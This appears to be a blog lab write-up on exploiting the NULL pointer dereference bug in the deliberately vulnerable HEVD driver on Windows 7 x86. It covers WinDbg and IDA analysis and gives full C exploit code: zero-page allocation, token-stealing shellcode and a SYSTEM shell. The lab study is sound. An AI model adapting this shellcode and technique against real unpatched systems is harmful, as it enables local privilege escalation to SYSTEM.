truebad0ur@home:~$

this and this articles are combined

Theory

Somy theory information taken from the above articles

At each bootup, the memory manager creates 2 memory pools (Paged Pool and NonPaged Pool)

  • these are dynamically sized
  • they are used for kernel-components to allocate system memory
  • they start at a certain size (based on the physical memory in the system)
  • the size of the pool can grow up to a maximum size (determined by the system at boot time)
  • The paged pool can page out or can be lowered
  • The paged pool consists of virtual memory that can be paged in and out of the system.
  • The NonPaged Pool cannot be paged out (used by drivers so they can be accessed at any Interrupt Request Level)

  • The nonpaged pool consists of virtual memory addresses that are guaranteed to reside in physical memory as long as the corresponding kernel objects are allocated.
  • To improve performance, systems with a single processor have three “paged pools”, and multiprocessor systems have five paged pools.

Same here, we’ll use Windows 7 x86. This can be exploited on Win 10 x32 as well, however starting with Win 8, Microsoft mitigated this vulnerability by making NULL page unavailable.

NULL Pointer Dereference

This time it’s NullPointerDereferenceIoctlHandler --> TriggerNullPointerDereference function and it’s value 0x22202B

Same here, let’s start writing sploit:

Also got a good idea, which haven’t mentioned earlier: you can create shared folder between your hsot and virtual machine in Vbox and VMware (obviously) and avoid spending time of copy-pasting files when you compile it. You just need to open shared folder on vm.

Preparation part is always the same:

  • run windbg
  • run virutal machine
  • open shared folder on vm (Z:\kernel4\NullPoint\Release in my case) to copy compiled file to the desktop
  • in windbg:
    • ed nt!Kd_Default_Mask 8
    • .sympath+ C:\Users\truebad0ur\Documents\Kernel
    • .reload /f
    • lm m HEV* - check if out module is loaded
    • bp HEVD!TriggerNullPointerDereference - break on out function

We broke, all’s okay

HEVD!TriggerNullPointerDereference:
a7d4abe0 6a10            push    10h
a7d4abe2 687882d4a7      push    offset HEVD!__safe_se_handler_table+0x168 (a7d48278)

No check the code out in IDA

We see, that we call:

push    'kcaH'          ; Tag
push    8               ; NumberOfBytes
push    edi             ; PoolType
call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)

The tag of the allocated pool will be Hack

NonPagedPool = 0

So it’s 8 bytes of non-paged pool memory with the tag kcaH

We put a breakpoint on HEVD!TriggerNullPointerDereference+AE

Because there we can see

a7d4ac89 b8b0b0d0ba      mov     eax,0BAD0B0B0h
a7d4ac8e 394508          cmp     dword ptr [ebp+8],eax
a7d4ac91 7527            jne     HEVD!TriggerNullPointerDereference+0xda (a7d4acba)

Looks like it waits for BAD0B0B0 as input from the user

At the end of this function we have:

xor     esi, esi
...
PAGE:00014CE9                 push    offset aTriggeringNull ; "[+] Triggering Null Pointer Dereference"...
PAGE:00014CEE                 call    _DbgPrint
PAGE:00014CF3                 pop     ecx
PAGE:00014CF4                 call    dword ptr [esi+4]

Deref

We see that at the end [0+4] will be called –> something at the zero page

Put break on HEVD!TriggerNullPointerDereference+114 because a7d4acf4 ff5604 call dword ptr [esi+4]

If we step in we can see the following:

call    dword ptr [esi+4]    ds:0023:00000004=????????


a7d4acf4 ff5604          call    dword ptr [esi+4]
kd> r esi
esi=00000000
kd> t
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******

We now need to allocate out shellcode there, so NtAllocateVirtualMemory will do it for us

I use code by ThunderJie because he has very cool things which I should also use :)

#include <stdio.h>
#include <Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b

HANDLE hDevice = NULL;

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
  IN HANDLE ProcessHandle,
  IN OUT PVOID* BaseAddress,
  IN ULONG ZeroBits,
  IN OUT PULONG RegionSize,
  IN ULONG AllocationType,
  IN ULONG Protect
  );

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

static VOID ShellCode()
{
  _asm
  {
    //int 3
    pop edi
    pop esi
    pop ebx
    pushad
    mov eax, fs: [124h]   // Find the _KTHREAD structure for the current thread
    mov eax, [eax + 0x50]   // Find the _EPROCESS structure
    mov ecx, eax
    mov edx, 4        // edx = system PID(4)

    // The loop is to get the _EPROCESS of the system
    find_sys_pid :
    mov eax, [eax + 0xb8] // Find the process activity list
    sub eax, 0xb8       // List traversal
    cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
    jnz find_sys_pid

    // Replace the Token
    mov edx, [eax + 0xf8]
    mov[ecx + 0xf8], edx
    popad
    //int 3
    ret
  }
}

BOOL init()
{
  // Get HANDLE
  hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    NULL,
    NULL,
    OPEN_EXISTING,
    NULL,
    NULL);

  printf("[+]Start to get HANDLE...\n");
  if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
  {
    return FALSE;
  }
  printf("[+]Success to get HANDLE!\n");
  return TRUE;
}

static VOID CreateCmd()
{
  STARTUPINFO si = { sizeof(si) };
  PROCESS_INFORMATION pi = { 0 };
  si.dwFlags = STARTF_USESHOWWINDOW;
  si.wShowWindow = SW_SHOW;
  WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
  BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
  if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

VOID Trigger_shellcode()
{
  DWORD bReturn = 0;
  char buf[4] = { 0 };
  *(PDWORD32)(buf) = 0xAAAAAAAA;

  *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
    GetModuleHandleW(L"ntdll"),
    "NtAllocateVirtualMemory");

  if (NtAllocateVirtualMemory == NULL)
  {
    printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
    system("pause");
  }

  PVOID Zero_addr = (PVOID)1;
  SIZE_T RegionSize = 0x1000;

  printf("[+]Started to alloc zero page...\n");
  if (!NT_SUCCESS(NtAllocateVirtualMemory(
    INVALID_HANDLE_VALUE,
    &Zero_addr,
    0,
    &RegionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE)) || Zero_addr != NULL)
  {
    printf("[+]Failed to alloc zero page!\n");
    system("pause");
  }

  printf("[+]Success to alloc zero page...\n");
  *(DWORD*)(0x4) = (DWORD)&ShellCode;

  DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

  if (init() == FALSE)
  {
    printf("[+]Failed to get HANDLE!!!\n");
    system("pause");
    return 0;
  }

  Trigger_shellcode();
  //__debugbreak();

  printf("[+]Start to Create cmd...\n");
  //CreateCmd();
  system("cmd");

  return 0;
}

Proof

site

site 2